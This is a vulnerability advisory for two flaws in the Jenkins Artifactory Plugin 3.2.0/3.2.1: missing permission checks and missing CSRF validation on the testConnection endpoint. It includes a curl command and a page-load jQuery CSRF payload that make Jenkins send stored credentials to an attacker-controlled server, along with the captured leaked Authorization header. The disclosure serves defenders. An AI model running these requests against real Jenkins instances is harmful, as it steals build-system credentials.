CVE-2019-10321 - CVE-2019-10322
An exploitable information disclosure vulnerability exists in the testConnection
endpoint of the Jenkins Artifactory Plugin 3.2.0 and 3.2.1. As a result of this vulnerability a crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credentials from the Jenkins credentials database to an attacker controlled server.
In addition to the above, due to the lack of CSRF (Cross Site Request Forgery) token validation on these endpoints, this vulnerability may be exploited via CSRF.
Jenkins Artifactory Plugin 3.2.1 Jenkins Artifactory Plugin 3.2.0
https://www.jfrog.com/confluence/display/RTF/Jenkins+Artifactory+Plug-in https://github.com/jenkinsci/artifactory-plugin
6.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
CWE-285: Improper Authorization
The Jenkins Artifactory Plugin brings Artifactory’s Build Integration support to Jenkins.
doTestConnection
missing permission checkThis vulnerability exists in the testConnection
endpoint exposed by the doTestConnection
method of org.jfrog.hudson.ArtifactoryBuilder
due to missing Jenkins permissions check. To exploit this vulnerability an attacker must know the credential identifier of the credential to leak. This said, this information can be obtained via a number of means, such as additional information disclosure vulnerabilities in this, and other, Jenkins plugins (see TALOS-2019-0846).
Due to the way in which this plugin expects to authenticate against the remote Artifactory instance, the credentials associated with the attacker specified credentialsId
are base64-encoded and submitted as part of the HTTP Authorization
header to the attacker-controlled server. An example of this attack against a Jenkins 2.165 instance running a vulnerable version of this plugin and configured to allow anonymous read access has been provided below.
# Send credentials to an attacker's server (http://192.0.2.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
$ curl -s -X GET -G \
-d 'artifactoryUrl=http://192.0.2.1:7000/?' \
-d 'connectionRetry=0' \
-d 'useCredentialsPlugin=true' \
-d 'credentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \
'http://jenkins.docker.local:8080/descriptorByName/org.jfrog.hudson.ArtifactoryBuilder/testConnection'
The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following:
# First request from Jenkins (GET)
/?/api/system/version
Host: 192.0.2.1:7000
Connection: Keep-Alive
User-Agent: ArtifactoryBuildClient/2.13.3
Accept-Encoding: gzip,deflate
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v
It is worth noting that as the response from the attacker-controlled server is not in the expected format, the plugin will raise an error but not render the response.
doTestConnection
CSRFThis vulnerability exists in the testConnection
endpoint exposed by the doTestConnection
method of org.jfrog.hudson.ArtifactoryBuilder
due to missing CSRF validation.
The payload below could be embedded in a webpage and will successfully execute a request against the target Jenkins instance on page load. Due to lack of CSRF validation in the plugin, and lack of additional mitigations such as SameSite
Cookie attribute, this JSONP (JSON with padding) request will utilize any currently authenticated Jenkins sessions for the configured target. This payload has been confirmed working in Safari 12.1.1 (14607.2.6.1.1) and Google Chrome 74.0.3729.169.
It’s worth noting that despite the use of JSONP, the response content is not accessible due to a MIME type mismatch (application/json
versus application/javascript
) and explicit X-Content-Type: nosniff
header being returned by Jenkins. This said, the request will still execute as expected, performing an onward request to the attacker’s server (specified by the artifactoryUrl
parameter) containing the credentials associated with the specified credentialsId
.
<!-- Perform request in the background. This proof-of-concept requires jQuery. -->
<script>
$(document).ready(function() {
target = 'http://jenkins.docker.local:8080'
$.ajax({
url: target + "/descriptorByName/org.jfrog.hudson.ArtifactoryBuilder/testConnection",
jsonp: "jsonp",
dataType: "jsonp",
data: {
artifactoryUrl: "http://192.0.2.1:7000/?",
connectionRetry: "0",
useCredentialsPlugin: "true",
credentialsId: "287fcbe2-177e-4108-ac58-efdc0a507376",
pretty: true,
},
success: function(data) {}
});
});
</script>
The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following:
# First request from Jenkins (GET)
/?/api/system/version
Host: 192.0.2.1:7000
Connection: Keep-Alive
User-Agent: ArtifactoryBuildClient/2.13.3
Accept-Encoding: gzip,deflate
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v
Until such time that the vendor produces a patched version, this plugin should be disabled (if possible), or unnecessary users with Overall/Read permissions removed (such as anonymous access).
Discovered by Peter Adkins of Cisco Umbrella.
2019-03-12 - Vendor Disclosure
2019-05-28 - Vendor Patched
2019-06-04 - Public Release
Discovered by Peter Adkins of Cisco Umbrella.